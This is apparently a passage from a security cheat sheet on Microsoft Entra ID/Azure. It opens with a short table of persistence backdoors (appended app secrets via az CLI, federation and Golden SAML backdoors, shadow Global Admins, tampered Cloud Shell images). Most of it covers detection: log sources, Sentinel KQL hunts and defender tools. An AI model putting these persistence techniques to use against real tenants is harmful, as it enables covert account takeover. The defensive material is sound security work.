App Secret Backdoor az ad app credential reset --id <appId> --append --years 2
Federation Backdoor ConvertDomainTo-Federated + attacker-controlled cert
Golden SAML Stolen ADFS signing cert - persists after password reset
Elevate Access Invoke-AzElevatedAccessManagementRoleToggle - GA manages all subs
Shadow Admin Create user + PIM eligible GA with long window
Cloud Shell Backdoor Modify cloud shell container image
Automation Runbook Hide persistence in scheduled runbook

#Detection & Defender Signals

#Quick Blue Team Indicators

  • Suspicious sign-ins - Impossible travel, unfamiliar device/location
  • App registration changes - New secrets/certificates, admin consent grants
  • Role assignment changes - New GA assignments, PIM activations off-hours
  • Bulk enumeration - High volume Graph API calls in short timeframe
  • Token anomalies - Token replay from unusual IPs, multi-geo refresh tokens
  • Federation changes - New federated domains, cert rotation events
  • Service Principal activity - SP auth from unexpected IPs, new credentials

Key logs: Azure AD Sign-in Logs, Audit Logs, Defender for Cloud Apps alerts, Azure Activity Log, Unified Audit Log (M365)

#Log Sources

Log What it captures Latency
Sign-in Logs (interactive) User auth, device, IP, CA result, MFA method ~1-5 min
Sign-in Logs (non-interactive) Refresh, silent, MSAL hidden ~5-15 min
Sign-in Logs (Service Principal) client_credentials, federated SP auth ~5-15 min
Sign-in Logs (Managed Identity) MSI token issuance ~5-15 min
Audit Logs Directory changes, role assigns, app reg edits, federation ~5-30 min
Provisioning Logs Cross-tenant sync, HR provisioning ~30 min
Microsoft Graph Activity Log (2024 GA) Every Graph API call against tenant ~5 min
Unified Audit Log (UAL) M365 (Exchange, SPO, OneDrive, Teams, Power Platform) ~30 min
Defender for Identity NTLM, PtH, PtT, PtPRT, sync abuse near real time
Defender for Cloud Apps OAuth grant anomalies, mass download, impossible travel ~minutes
Defender XDR Advanced Hunting Cross-product KQL minutes

#Sentinel KQL Hunts

// 1. Mass Graph API enumeration from one identity
MicrosoftGraphActivityLogs
| where TimeGenerated > ago(1h)
| summarize Calls=count() by UserId, AppId, RequestUri
| where Calls > 500

// 2. New federated identity credential added (WIF backdoor)
AuditLogs
| where OperationName == "Update application"
| where Result == "success"
| extend props = parse_json(TargetResources[0].modifiedProperties)
| mv-expand props
| where tostring(props.displayName) contains "FederatedIdentityCredentials"

// 3. Conditional Access policy modification
AuditLogs
| where OperationName in ("Update conditional access policy","Add conditional access policy","Delete conditional access policy")
| project TimeGenerated, InitiatedBy, TargetResources, AdditionalDetails

// 4. Suspicious app role assignment (Graph perms granted to SP)
AuditLogs
| where OperationName == "Add app role assignment to service principal"
| extend AppRole = tostring(parse_json(TargetResources[0].modifiedProperties)[1].newValue)
| where AppRole has_any ("RoleManagement.ReadWrite","Application.ReadWrite","Directory.ReadWrite","AppRoleAssignment.ReadWrite")

// 5. Device code phishing detection
SigninLogs
| where AuthenticationProtocol == "deviceCode"
| where AppDisplayName != "Microsoft Authentication Broker"
| summarize count() by UserPrincipalName, IPAddress, AppDisplayName

// 6. Impossible travel + token replay (PRT/cookie theft signal)
SigninLogs
| where ResultType == 0
| summarize Locs=make_set(Location), IPs=make_set(IPAddress), Apps=make_set(AppDisplayName) by UserPrincipalName, bin(TimeGenerated, 1h)
| where array_length(Locs) > 1

// 7. Cross-tenant SP sign-in (multi-tenant illicit consent)
AADServicePrincipalSignInLogs
| where ResourceTenantId != HomeTenantId
| summarize count() by ServicePrincipalName, IPAddress, ResourceDisplayName

// 8. New SP credential added (potential persistence)
AuditLogs
| where OperationName in ("Add service principal credentials","Update application - Certificates and secrets management")
| project TimeGenerated, InitiatedBy, TargetResources

// 9. Global Admin assignment outside change window
AuditLogs
| where OperationName == "Add member to role"
| extend Role = tostring(TargetResources[0].modifiedProperties[1].newValue)
| where Role contains "Global Administrator"
| where hourofday(TimeGenerated) !between (8 .. 18)

// 10. Storm-0558 style token anomaly - signed by unexpected key
SigninLogs
| where TokenIssuerType == "AzureAD"
| where SignInIdentifier !endswith "@target.com"
| where AuthenticationDetails has "appliedConditionalAccessPolicies"

#Defender for Identity (MDI)

MDI sensors on DCs and AD Connect servers detect:

  • Suspected pass-the-PRT - PRT cookie minted on one host, replayed elsewhere
  • Suspected NTLM relay to Entra Connect - relay against MSOL_*
  • Honeytoken activity - synthetic accounts touched by attacker
  • AAD Connect related events - sync engine restart, MSOL pwd change
  • Seamless SSO anomaly - tickets to AZUREADSSOACC$ at unusual rates

#Tools Defenders Use

  • AzureHound CE / BloodHound CE - same paths attackers walk; defenders should run weekly
  • BARK - SpecterOps research kit, blue can use for assumed-breach
  • ROADrecon - dirkjanm enumerator, dump-and-diff tenant state
  • Stormspotter - older Microsoft visualizer, neo4j based
  • Monkey365 - assessments + best practice checks
  • ScubaGear (CISA) - M365 secure config baseline auditor
  • Maester - Microsoft 365 test framework (Pester-based)
  • PurpleKnight (Semperis) - hybrid AD + Entra hygiene

#Also See

#Cyber Aurelien Guidi